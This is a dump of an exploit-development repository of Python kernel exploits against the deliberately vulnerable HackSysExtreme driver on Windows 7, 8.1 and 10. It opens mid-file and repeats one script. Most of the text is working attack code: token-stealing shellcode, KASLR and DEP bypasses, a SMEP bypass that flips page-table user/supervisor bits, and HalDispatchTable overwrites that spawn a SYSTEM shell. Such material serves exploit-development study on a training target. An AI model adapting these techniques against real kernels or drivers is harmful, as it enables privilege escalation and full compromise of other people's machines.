116 | pte_base = nt_mi_get_pte_address + 0x13
117 | 
118 | # Print update for nt!MiGetPteAddress+0x13 address
119 | print "[+] nt!MiGetPteAddress+0x13 is located at: {0}".format(hex(pte_base))
120 | 
121 | # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to
122 | # Base of the PTEs are stored here
123 | base_of_ptes_pointer = c_void_p()
124 | 
125 | # Write-what-where structure #1
126 | www_pte_base = WriteWhatWhere_PTE_Base()
127 | www_pte_base.What_PTE_Base = pte_base
128 | www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer)
129 | www_pte_pointer = pointer(www_pte_base)
130 | 
131 | # Getting handle to driver to return to DeviceIoControl() function
132 | handle = kernel32.CreateFileA(
133 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
134 |     0xC0000000,                         # dwDesiredAccess
135 |     0,                                  # dwShareMode
136 |     None,                               # lpSecurityAttributes
137 |     0x3,                                # dwCreationDisposition
138 |     0,                                  # dwFlagsAndAttributes
139 |     None                                # hTemplateFile
140 | )
141 | 
142 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
143 | kernel32.DeviceIoControl(
144 |     handle,                             # hDevice
145 |     0x0022200B,                         # dwIoControlCode
146 |     www_pte_pointer,                    # lpInBuffer
147 |     0x8,                                # nInBufferSize
148 |     None,                               # lpOutBuffer
149 |     0,                                  # nOutBufferSize
150 |     byref(c_ulong()),                   # lpBytesReturned
151 |     None                                # lpOverlapped
152 | )
153 | 
154 | # CTypes way of dereferencing a C void pointer
155 | base_of_ptes = struct.unpack('<Q', base_of_ptes_pointer)[0]
156 | 
157 | # Print update for PTE base
158 | print "[+] Leaked base of PTEs!"
159 | print "[+] Base of PTEs are located at: {0}".format(hex(base_of_ptes))
160 | 
161 | # Phase 2: Calculate the shellcode's PTE address
162 | 
163 | # Calculating the PTE for shellcode memory page
164 | shellcode_pte = ptr >> 9
165 | shellcode_pte &= 0x7ffffffff8
166 | shellcode_pte += base_of_ptes
167 | 
168 | # Print update for Shellcode PTE
169 | print "[+] PTE for the shellcode memory page is located at {0}".format(hex(shellcode_pte))
170 | 
171 | # Phase 3: Extract shellcode's PTE control bits
172 | 
173 | # Declaring C void pointer to store shellcode PTE control bits
174 | shellcode_pte_bits_pointer = c_void_p()
175 | 
176 | # Write-what-where structure #2
177 | www_pte_bits = WriteWhatWhere_PTE_Control_Bits()
178 | www_pte_bits.What_PTE_Control_Bits = shellcode_pte
179 | www_pte_bits.Where_PTE_Control_Bits = addressof(shellcode_pte_bits_pointer)
180 | www_pte_bits_pointer = pointer(www_pte_bits)
181 | 
182 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
183 | kernel32.DeviceIoControl(
184 |     handle,                             # hDevice
185 |     0x0022200B,                         # dwIoControlCode
186 |     www_pte_bits_pointer,               # lpInBuffer
187 |     0x8,                                # nInBufferSize
188 |     None,                               # lpOutBuffer
189 |     0,                                  # nOutBufferSize
190 |     byref(c_ulong()),                   # lpBytesReturned
191 |     None                                # lpOverlapped
192 | )
193 | 
194 | # CTypes way of dereferencing a C void pointer
195 | shellcode_pte_control_bits_usermode = struct.unpack('<Q', shellcode_pte_bits_pointer)[0]
196 | 
197 | # Print update for PTE control bits
198 | print "[+] PTE control bits for shellcode memory page: {:016x}".format(shellcode_pte_control_bits_usermode)
199 | 
200 | # Phase 4: Overwrite current PTE U/S bit for shellcode page with an S (supervisor/kernel)
201 | 
202 | # Currently, the PTE control bit for U/S of the shellcode is that of a user mode memory page
203 | # Flipping the U (user) bit to an S (supervisor/kernel) bit
204 | shellcode_pte_control_bits_kernelmode = shellcode_pte_control_bits_usermode - 4
205 | 
206 | # Need to store the PTE control bits as a pointer
207 | # Using addressof(pte_overwrite_pointer) in Write-what-where structure #4 since a pointer to the PTE control bits are needed
208 | pte_overwrite_pointer = c_void_p(shellcode_pte_control_bits_kernelmode)
209 | 
210 | # Write-what-where structure #4
211 | www_pte_overwrite = WriteWhatWhere_PTE_Overwrite()
212 | www_pte_overwrite.What_PTE_Overwrite = addressof(pte_overwrite_pointer)
213 | www_pte_overwrite.Where_PTE_Overwrite = shellcode_pte
214 | www_pte_overwrite_pointer = pointer(www_pte_overwrite)
215 | 
216 | # Print update for PTE overwrite
217 | print "[+] Goodbye SMEP..."
218 | print "[+] Overwriting shellcodes PTE user control bit with a supervisor control bit..."
219 | 
220 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
221 | kernel32.DeviceIoControl(
222 |     handle,                             # hDevice
223 |     0x0022200B,                         # dwIoControlCode
224 |     www_pte_overwrite_pointer,          # lpInBuffer
225 |     0x8,                                # nInBufferSize
226 |     None,                               # lpOutBuffer
227 |     0,                                  # nOutBufferSize
228 |     byref(c_ulong()),                   # lpBytesReturned
229 |     None                                # lpOverlapped
230 | )
231 | 
232 | # Print update for PTE overwrite round 2
233 | print "[+] User mode shellcode page is now a kernel mode page!"
234 | 
235 | # Phase 5: Shellcode
236 | 
237 | # nt!HalDispatchTable address (Windows 10 RS1 offset)
238 | haldispatchtable_base_address = kernel_address + 0x2f1330
239 | 
240 | # nt!HalDispatchTable + 0x8 address
241 | haldispatchtable = haldispatchtable_base_address + 0x8
242 | 
243 | # Print update for nt!HalDispatchTable + 0x8
244 | print "[+] nt!HalDispatchTable + 0x8 is located at: {0}".format(hex(haldispatchtable))
245 | 
246 | # Write-what-where structure #5
247 | www = WriteWhatWhere()
248 | www.What = addressof(shellcode_pointer)
249 | www.Where = haldispatchtable
250 | www_pointer = pointer(www)
251 | 
252 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
253 | print "[+] Interacting with the driver..."
254 | kernel32.DeviceIoControl(
255 |     handle,                             # hDevice
256 |     0x0022200B,                         # dwIoControlCode
257 |     www_pointer,                        # lpInBuffer
258 |     0x8,                                # nInBufferSize
259 |     None,                               # lpOutBuffer
260 |     0,                                  # nOutBufferSize
261 |     byref(c_ulong()),                   # lpBytesReturned
262 |     None                                # lpOverlapped
263 | )
264 | 
265 | # Actually calling NtQueryIntervalProfile function, which will call HalDispatchTable + 0x8, where the shellcode will be waiting.
266 | ntdll.NtQueryIntervalProfile(
267 |     0x1234,
268 |     byref(c_ulonglong())
269 | )
270 | 
271 | # Print update for shell
272 | print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!"
273 | os.system("cmd.exe /K cd C:\\")
274 | 


--------------------------------------------------------------------------------
/Kernel/Arbitrary Memory Overwrites/x64_HEVD_Windows_10_SMEP_kCFG_Bypass_Arbitrary_Overwrite.py:
--------------------------------------------------------------------------------
1 | #test
2 | 


--------------------------------------------------------------------------------
/Kernel/Arbitrary Memory Overwrites/x64_HEVD_Windows_8_No_SMEP_Arbitrary_Overwrite.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Disabled)
  2 | # Author: Connor McGarr
  3 | 
  4 | import struct
  5 | import sys
  6 | import os
  7 | from ctypes import *
  8 | from subprocess import *
  9 | 
 10 | # DLLs for Windows API interaction
 11 | kernel32 = windll.kernel32
 12 | ntdll = windll.ntdll
 13 | psapi = windll.Psapi
 14 | 
 15 | # Defining class for arbitrary overwrite
 16 | class WriteWhatWhere(Structure):
 17 |     _fields_ = [
 18 |         ("What", c_void_p),
 19 |         ("Where", c_void_p)
 20 |     ]
 21 | 
 22 | # Windows 8.1 Token Stealing Payload
 23 | payload = bytearray(
 24 |     "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
 25 |     "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
 26 |     "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
 27 |     "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
 28 |     "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
 29 |     "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
 30 |     "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
 31 |     "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
 32 |     "\x48\x8B\x8B\x48\x03\x00\x00"                      # mov rcx,[rbx+0x348] ; SYSTEM token is @ offset _EPROCESS + 0x348
 33 |     "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
 34 |     "\x48\x89\x88\x48\x03\x00\x00"                      # mov [rax+0x348],rcx ; Copy SYSTEM token to current process
 35 |     "\x48\x31\xC0"                                      # xor rax,rax         ; set NTSTATUS SUCCESS
 36 |     "\xC3"                                              # ret                 ; Done!
 37 | )
 38 | 
 39 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
 40 | # We also need to bypass SMEP before calling this shellcode
 41 | print "[+] Allocating RWX region for shellcode"
 42 | ptr = kernel32.VirtualAlloc(
 43 |     c_int(0),                         # lpAddress
 44 |     c_int(len(payload)),              # dwSize
 45 |     c_int(0x3000),                    # flAllocationType
 46 |     c_int(0x40)                       # flProtect
 47 | )
 48 | 
 49 | # Creates a ctype variant of the payload (from_buffer)
 50 | c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 51 | 
 52 | print "[+] Copying shellcode to newly allocated RWX region"
 53 | kernel32.RtlMoveMemory(
 54 |     c_int(ptr),                       # Destination (pointer)
 55 |     c_type_buffer,                    # Source (pointer)
 56 |     c_int(len(payload))               # Length
 57 | )
 58 | 
 59 | # Remember, Python adds a 20 byte header in x86
 60 | # x64 it is a 32 byte header
 61 | payload_address = id(payload) + 32
 62 | payload_updated = struct.pack("<Q", ptr)
 63 | payload_final = id(payload_updated) + 32
 64 | 
 65 | # Location of shellcode update statement
 66 | print "[+] Location of shellcode: {0}".format(hex(payload_address))
 67 | 
 68 | # Location of pointer to shellcode
 69 | print "[+] Location of pointer to shellcode: {0}".format(hex(payload_final))
 70 | 
 71 | # Need kernel leak to bypass KASLR
 72 | # Windows 8.1 runs in medium integrity mode
 73 | # Using Windows API to enumerate base addresses
 74 | 
 75 | # c_ulonglong because of x64 size (unsigned __int64)
 76 | base = (c_ulonglong * 1024)()
 77 | 
 78 | print "[+] Calling EnumDeviceDrivers()..."
 79 | 
 80 | get_drivers = psapi.EnumDeviceDrivers(
 81 |     byref(base),                      # lpImageBase (array that receives list of addresses)
 82 |     sizeof(base),                     # cb (size of lpImageBase array, in bytes)
 83 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
 84 | )
 85 | 
 86 | # Error handling if function fails
 87 | if not base:
 88 |     print "[+] EnumDeviceDrivers() function call failed!"
 89 |     sys.exit(-1)
 90 | 
 91 | # The first entry in the array with device drivers is ntoskrnl base address
 92 | kernel_address = base[0]
 93 | 
 94 | print "[+] Found kernel leak!"
 95 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 96 | 
 97 | # HalDispatchTalble is at an offset of 0x2b0680 from ntoskrnl.exe
 98 | # Instead of enumerating HalDispatchTable with LoadLibraryExA() and GetProcAddress(), just utilizing offset
 99 | hal_table = kernel_address + 0x2b0680
100 | 
101 | # HalDispatchTable + 0x8
102 | real_hal_table = hal_table + 0x8
103 | 
104 | print "[+] HalDispatchTable address: {0}".format(hex(hal_table))
105 | print "[+] HalDispatchTable + 0x8 address: {0}".format(hex(real_hal_table))
106 | 
107 | # Prepaing payload
108 | www = WriteWhatWhere()
109 | www.What = payload_final
110 | www.Where = real_hal_table
111 | www_pointer = pointer(www)
112 | 
113 | # Getting handle to driver to return to DeviceIoControl() function
114 | print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
115 | handle = kernel32.CreateFileA(
116 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
117 |     0xC0000000,                         # dwDesiredAccess
118 |     0,                                  # dwShareMode
119 |     None,                               # lpSecurityAttributes
120 |     0x3,                                # dwCreationDisposition
121 |     0,                                  # dwFlagsAndAttributes
122 |     None                                # hTemplateFile
123 | )
124 | 
125 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
126 | print "[+] Interacting with the driver..."
127 | kernel32.DeviceIoControl(
128 |     handle,                             # hDevice
129 |     0x0022200B,                         # dwIoControlCode
130 |     pointer(www),                       # lpInBuffer
131 |     0x8,                                # nInBufferSize
132 |     None,                               # lpOutBuffer
133 |     0,                                  # nOutBufferSize
134 |     byref(c_ulong()),                   # lpBytesReturned
135 |     None                                # lpOverlapped
136 | )
137 | 
138 | # Actually calling NtQueryIntervalProfile function, which will call HalDispatchTable + 0x8, where our shellcode will be waiting.
139 | ntdll.NtQueryIntervalProfile(
140 |     0x1234,
141 |     byref(c_ulonglong())
142 | )
143 | 
144 | # Print update for nt autority\system shell
145 | print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!!!!"
146 | os.system("cmd.exe /K cd C:\\")
147 | 


--------------------------------------------------------------------------------
/Kernel/Arbitrary Memory Overwrites/x86_HEVD_Windows_7_Arbitrary_Overwrite.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x86 Arbitrary Overwrite)
  2 | # Author: Connor McGarr
  3 | 
  4 | import struct
  5 | import sys
  6 | import os
  7 | from ctypes import *
  8 | from subprocess import *
  9 | 
 10 | # DLLs for Windows API interaction
 11 | kernel32 = windll.kernel32
 12 | ntdll = windll.ntdll
 13 | psapi = windll.Psapi
 14 | 
 15 | class WriteWhatWhere(Structure):
 16 |     _fields_ = [
 17 |         ("What", c_void_p),
 18 |         ("Where", c_void_p)
 19 |     ]
 20 | 
 21 | payload = bytearray(
 22 |     "\x90\x90\x90\x90"                # NOP sled
 23 |     "\x60"                            # pushad
 24 |     "\x31\xc0"                        # xor eax,eax
 25 |     "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
 26 |     "\x8b\x40\x50"                    # mov eax,[eax+0x50]
 27 |     "\x89\xc1"                        # mov ecx,eax
 28 |     "\xba\x04\x00\x00\x00"            # mov edx,0x4
 29 |     "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
 30 |     "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
 31 |     "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
 32 |     "\x75\xed"                        # jnz 0x1a
 33 |     "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
 34 |     "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
 35 |     "\x61"                            # popad
 36 |     "\x31\xc0"                        # xor eax, eax (restore execution)
 37 |     "\x83\xc4\x24"                    # add esp, 0x24 (restore execution)
 38 |     "\x5d"                            # pop ebp
 39 |     "\xc2\x08\x00"                    # ret 0x8
 40 | )
 41 | 
 42 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
 43 | print "[+] Allocating RWX region for shellcode"
 44 | ptr = kernel32.VirtualAlloc(
 45 |     c_int(0),                         # lpAddress
 46 |     c_int(len(payload)),              # dwSize
 47 |     c_int(0x3000),                    # flAllocationType
 48 |     c_int(0x40)                       # flProtect
 49 | )
 50 | 
 51 | # Creates a ctype variant of the payload (from_buffer)
 52 | c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 53 | 
 54 | print "[+] Copying shellcode to newly allocated RWX region"
 55 | kernel32.RtlMoveMemory(
 56 |     c_int(ptr),                       # Destination (pointer)
 57 |     c_type_buffer,                    # Source (pointer)
 58 |     c_int(len(payload))               # Length
 59 | )
 60 | 
 61 | # Python, when using id to return a value, creates an offset of 20 bytes ot the value (first bytes reference variable)
 62 | # After id returns the value, it is then necessary to increase the returned value 20 bytes
 63 | payload_address = id(payload) + 20
 64 | payload_updated = struct.pack("<L", ptr)
 65 | payload_final = id(payload_updated) + 20
 66 | 
 67 | # Location of shellcode update statement
 68 | print "[+] Location of shellcode: {0}".format(hex(payload_address))
 69 | 
 70 | # Location of pointer to shellcode
 71 | print "[+] Location of pointer to shellcode: {0}".format(hex(payload_final))
 72 | 
 73 | # The goal is to eventually locate HAL table.
 74 | # HAL is exported by ntoskrnl.exe
 75 | # ntoskrnl.exe's location can be enumerated via EnumDeviceDrivers() and GetDEviceDriverBaseNameA() functions via Windows API.
 76 | 
 77 | # Enumerating addresses for all drivers via EnumDeviceDrivers()
 78 | base = (c_ulong * 1024)()
 79 | get_drivers = psapi.EnumDeviceDrivers(
 80 |     byref(base),                      # lpImageBase (array that receives list of addresses)
 81 |     c_int(1024),                      # cb (size of lpImageBase array, in bytes)
 82 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
 83 | )
 84 | 
 85 | # Error handling if function fails
 86 | if not base:
 87 |     print "[+] EnumDeviceDrivers() function call failed!"
 88 |     sys.exit(-1)
 89 | 
 90 | # Cycle through enumerated addresses, for ntoskrnl.exe using GetDeviceDriverBaseNameA()
 91 | for base_address in base:
 92 |     if not base_address:
 93 |         continue
 94 |     current_name = c_char_p('\x00' * 1024)
 95 |     driver_name = psapi.GetDeviceDriverBaseNameA(
 96 |         base_address,                 # ImageBase (load address of current device driver)
 97 |         current_name,                 # lpFilename
 98 |         48                            # nSize (size of the buffer, in chars)
 99 |     )
100 | 
101 |     # Error handling if function fails
102 |     if not driver_name:
103 |         print "[+] GetDeviceDriverBaseNameA() function call failed!"
104 |         sys.exit(-1)
105 | 
106 |     if current_name.value.lower() == 'ntkrnl' or 'ntkrnl' in current_name.value.lower():
107 | 
108 |         # When ntoskrnl.exe is found, return the value at the time of being found
109 |         current_name = current_name.value
110 | 
111 |         # Print update to show address of ntoskrnl.exe
112 |         print "[+] Found address of ntoskrnl.exe at: {0}".format(hex(base_address))
113 | 
114 |         # It assumed the information needed from the for loop has been found if the program has reached execution at this point.
115 |         # Stopping the for loop to move on.
116 |         break
117 |     
118 | # Now that all of the proper information to reference HAL has been enumerated, it is time to get the location of HAL and HAL 0x4
119 | # NtQueryIntervalProfile is an undocumented Windows API function that references HAL at the location of HAL +0x4.
120 | # HAL +0x4 is the address we will eventually need to write over. Once HAL is exported, we will be most interested in HAL + 0x4
121 | 
122 | # Beginning enumeration
123 | kernel_handle = kernel32.LoadLibraryExA(
124 |     current_name,                       # lpLibFileName (specifies the name of the module, in this case ntlkrnl.exe)
125 |     None,                               # hFile (parameter must be null
126 |     0x00000001                          # dwFlags (DONT_RESOLVE_DLL_REFERENCES)
127 | )
128 | 
129 | # Error handling if function fails
130 | if not kernel_handle:
131 |     print "[+] LoadLibraryExA() function failed!"
132 |     sys.exit(-1)
133 | 
134 | # Getting HAL Address
135 | hal = kernel32.GetProcAddress(
136 |     kernel_handle,                      # hModule (handle passed via LoadLibraryExA to ntoskrnl.exe)
137 |     'HalDispatchTable'                  # lpProcName (name of value)
138 | )
139 | 
140 | # Subtracting ntoskrnl base in user land
141 | hal -= kernel_handle
142 | 
143 | # Add base address of ntoskrnl in kernel land
144 | hal += base_address
145 | 
146 | # Recall earlier we were more interested in HAL + 0x4. Let's grab that address.
147 | real_hal = hal + 0x4
148 | 
149 | # Print update with HAL and HAL + 0x4 location
150 | print "[+] HAL location: {0}".format(hex(hal))
151 | print "[+] HAL + 0x4 location: {0}".format(hex(real_hal))
152 | 
153 | # Referencing class created at the beginning of the sploit and passing shellcode to vulnerable pointers
154 | # This is where the exploit occurs
155 | write_what_where = WriteWhatWhere()
156 | write_what_where.What = payload_final   # What we are writing (our shellcode)
157 | write_what_where.Where = real_hal       # Where we are writing it to (HAL + 0x4). NtQueryIntervalProfile() will eventually call this location and execute it
158 | write_what_where_pointer = pointer(write_what_where)
159 | 
160 | # Print update statement to reflect said exploit
161 | print "[+] What: {0}".format(hex(write_what_where.What))
162 | print "[+] Where: {0}".format(hex(write_what_where.Where))
163 | 
164 | 
165 | # Getting handle to driver to return to DeviceIoControl() function
166 | print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
167 | handle = kernel32.CreateFileA(
168 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
169 |     0xC0000000,                         # dwDesiredAccess
170 |     0,                                  # dwShareMode
171 |     None,                               # lpSecurityAttributes
172 |     0x3,                                # dwCreationDisposition
173 |     0,                                  # dwFlagsAndAttributes
174 |     None                                # hTemplateFile
175 | )
176 | 
177 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
178 | kernel32.DeviceIoControl(
179 |     handle,                             # hDevice
180 |     0x0022200B,                         # dwIoControlCode
181 |     write_what_where_pointer,           # lpInBuffer
182 |     0x8,                                # nInBufferSize
183 |     None,                               # lpOutBuffer
184 |     0,                                  # nOutBufferSize
185 |     byref(c_ulong()),                   # lpBytesReturned
186 |     None                                # lpOverlapped
187 | )
188 |     
189 | # Actually calling NtQueryIntervalProfile function, which will call HAL + 0x4, where our shellcode will be waiting.
190 | ntdll.NtQueryIntervalProfile(
191 |     0x1234,
192 |     byref(c_ulong())
193 | )
194 | 
195 | # Print update for nt_autority\system shell
196 | print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!!!!"
197 | Popen("start cmd", shell=True)
198 | 


--------------------------------------------------------------------------------
/Kernel/README.md:
--------------------------------------------------------------------------------
1 | Kernel
2 | ---
3 | 
4 | Kernel exploits via the HackSysExtreme Vulnerable Driver
5 | 


--------------------------------------------------------------------------------
/Kernel/SMEP Bypass/x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Enabled)
  2 | # Windows 10 RS1
  3 | # Author: Connor McGarr
  4 | 
  5 | import struct
  6 | import sys
  7 | import os
  8 | from ctypes import *
  9 | 
 10 | kernel32 = windll.kernel32
 11 | ntdll = windll.ntdll
 12 | psapi = windll.Psapi
 13 | 
 14 | # Fist structure, for obtaining nt!MiGetPteAddress+0x13 value
 15 | class WriteWhatWhere_PTE_Base(Structure):
 16 |     _fields_ = [
 17 |         ("What_PTE_Base", c_void_p),
 18 |         ("Where_PTE_Base", c_void_p)
 19 |     ]
 20 | 
 21 | # Second structure, for obtaining the control bits for the PTE
 22 | class WriteWhatWhere_PTE_Control_Bits(Structure):
 23 |     _fields_ = [
 24 |         ("What_PTE_Control_Bits", c_void_p),
 25 |         ("Where_PTE_Control_Bits", c_void_p)
 26 |     ]
 27 | 
 28 | # Third structure, to overwrite the U (user) PTE control bit to an S (supervisor/kernel) bit
 29 | class WriteWhatWhere_PTE_Overwrite(Structure):
 30 |     _fields_ = [
 31 |         ("What_PTE_Overwrite", c_void_p),
 32 |         ("Where_PTE_Overwrite", c_void_p)
 33 |     ]
 34 | 
 35 | # Fourth structure, to overwrite HalDispatchTable + 0x8 with kernel mode shellcode page
 36 | class WriteWhatWhere(Structure):
 37 |     _fields_ = [
 38 |         ("What", c_void_p),
 39 |         ("Where", c_void_p)
 40 |     ]
 41 | 
 42 | # Token stealing payload
 43 | payload = bytearray(
 44 |     "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
 45 |     "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
 46 |     "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
 47 |     "\x48\x8B\x9B\xF0\x02\x00\x00"                      # mov rbx,[rbx+0x2f0] ; ActiveProcessLinks
 48 |     "\x48\x81\xEB\xF0\x02\x00\x00"                      # sub rbx,0x2f0       ; Go back to current process
 49 |     "\x48\x8B\x8B\xE8\x02\x00\x00"                      # mov rcx,[rbx+0x2e8] ; UniqueProcessId (PID)
 50 |     "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
 51 |     "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
 52 |     "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
 53 |     "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
 54 |     "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
 55 |     "\x48\x31\xC0"                                      # xor rax,rax         ; set NTSTATUS SUCCESS
 56 |     "\xC3"                                              # ret                 ; Done!
 57 | )
 58 | 
 59 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying the shellcode in that region.
 60 | print "[+] Allocating RWX region for shellcode"
 61 | ptr = kernel32.VirtualAlloc(
 62 |     c_int(0),                         # lpAddress
 63 |     c_int(len(payload)),              # dwSize
 64 |     c_int(0x3000),                    # flAllocationType
 65 |     c_int(0x40)                       # flProtect
 66 | )
 67 | 
 68 | # Creates a ctype variant of the payload (from_buffer)
 69 | c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 70 | 
 71 | print "[+] Copying shellcode to newly allocated RWX region"
 72 | kernel32.RtlMoveMemory(
 73 |     c_int(ptr),                       # Destination (pointer)
 74 |     c_type_buffer,                    # Source (pointer)
 75 |     c_int(len(payload))               # Length
 76 | )
 77 | 
 78 | # Print update statement for shellcode location
 79 | print "[+] Shellcode is located at {0}".format(hex(ptr))
 80 | 
 81 | # Creating a pointer for the shellcode (write-what-where writes a pointer to a pointer)
 82 | # Using addressof(shellcode_pointer) in Write-what-where structure #5
 83 | shellcode_pointer = c_void_p(ptr)
 84 | 
 85 | # c_ulonglong because of x64 size (unsigned __int64)
 86 | base = (c_ulonglong * 1024)()
 87 | 
 88 | print "[+] Calling EnumDeviceDrivers()..."
 89 | get_drivers = psapi.EnumDeviceDrivers(
 90 |     byref(base),                      # lpImageBase (array that receives list of addresses)
 91 |     sizeof(base),                     # cb (size of lpImageBase array, in bytes)
 92 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
 93 | )
 94 | 
 95 | # Error handling if function fails
 96 | if not base:
 97 |     print "[+] EnumDeviceDrivers() function call failed!"
 98 |     sys.exit(-1)
 99 | 
100 | # The first entry in the array with device drivers is ntoskrnl base address
101 | kernel_address = base[0]
102 | 
103 | # Print update for ntoskrnl.exe base address
104 | print "[+] Found kernel leak!"
105 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
106 | 
107 | # Phase 1: Grab the base of the PTEs via nt!MiGetPteAddress
108 | 
109 | # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset)
110 | nt_mi_get_pte_address = kernel_address + 0x51214
111 | 
112 | # Print update for nt!MiGetPteAddress address 
113 | print "[+] nt!MiGetPteAddress is located at: {0}".format(hex(nt_mi_get_pte_address))
114 | 
115 | # Base of PTEs is located at nt!MiGetPteAddress + 0x13
116 | pte_base = nt_mi_get_pte_address + 0x13
117 | 
118 | # Print update for nt!MiGetPteAddress+0x13 address
119 | print "[+] nt!MiGetPteAddress+0x13 is located at: {0}".format(hex(pte_base))
120 | 
121 | # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to
122 | # Base of the PTEs are stored here
123 | base_of_ptes_pointer = c_void_p()
124 | 
125 | # Write-what-where structure #1
126 | www_pte_base = WriteWhatWhere_PTE_Base()
127 | www_pte_base.What_PTE_Base = pte_base
128 | www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer)
129 | www_pte_pointer = pointer(www_pte_base)
130 | 
131 | # Getting handle to driver to return to DeviceIoControl() function
132 | handle = kernel32.CreateFileA(
133 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
134 |     0xC0000000,                         # dwDesiredAccess
135 |     0,                                  # dwShareMode
136 |     None,                               # lpSecurityAttributes
137 |     0x3,                                # dwCreationDisposition
138 |     0,                                  # dwFlagsAndAttributes
139 |     None                                # hTemplateFile
140 | )
141 | 
142 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
143 | kernel32.DeviceIoControl(
144 |     handle,                             # hDevice
145 |     0x0022200B,                         # dwIoControlCode
146 |     www_pte_pointer,                       # lpInBuffer
147 |     0x8,                                # nInBufferSize
148 |     None,                               # lpOutBuffer
149 |     0,                                  # nOutBufferSize
150 |     byref(c_ulong()),                   # lpBytesReturned
151 |     None                                # lpOverlapped
152 | )
153 | 
154 | # CTypes way of dereferencing a C void pointer
155 | base_of_ptes = struct.unpack('<Q', base_of_ptes_pointer)[0]
156 | 
157 | # Print update for PTE base
158 | print "[+] Leaked base of PTEs!"
159 | print "[+] Base of PTEs are located at: {0}".format(hex(base_of_ptes))
160 | 
161 | # Phase 2: Calculate the shellcode's PTE address
162 | 
163 | # Calculating the PTE for shellcode memory page
164 | shellcode_pte = ptr >> 9
165 | shellcode_pte &= 0x7ffffffff8
166 | shellcode_pte += base_of_ptes
167 | 
168 | # Print update for Shellcode PTE
169 | print "[+] PTE for the shellcode memory page is located at {0}".format(hex(shellcode_pte))
170 | 
171 | # Phase 3: Extract shellcode's PTE control bits
172 | 
173 | # Declaring C void pointer to store shellcode PTE control bits
174 | shellcode_pte_bits_pointer = c_void_p()
175 | 
176 | # Write-what-where structure #2
177 | www_pte_bits = WriteWhatWhere_PTE_Control_Bits()
178 | www_pte_bits.What_PTE_Control_Bits = shellcode_pte
179 | www_pte_bits.Where_PTE_Control_Bits = addressof(shellcode_pte_bits_pointer)
180 | www_pte_bits_pointer = pointer(www_pte_bits)
181 | 
182 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
183 | kernel32.DeviceIoControl(
184 |     handle,                             # hDevice
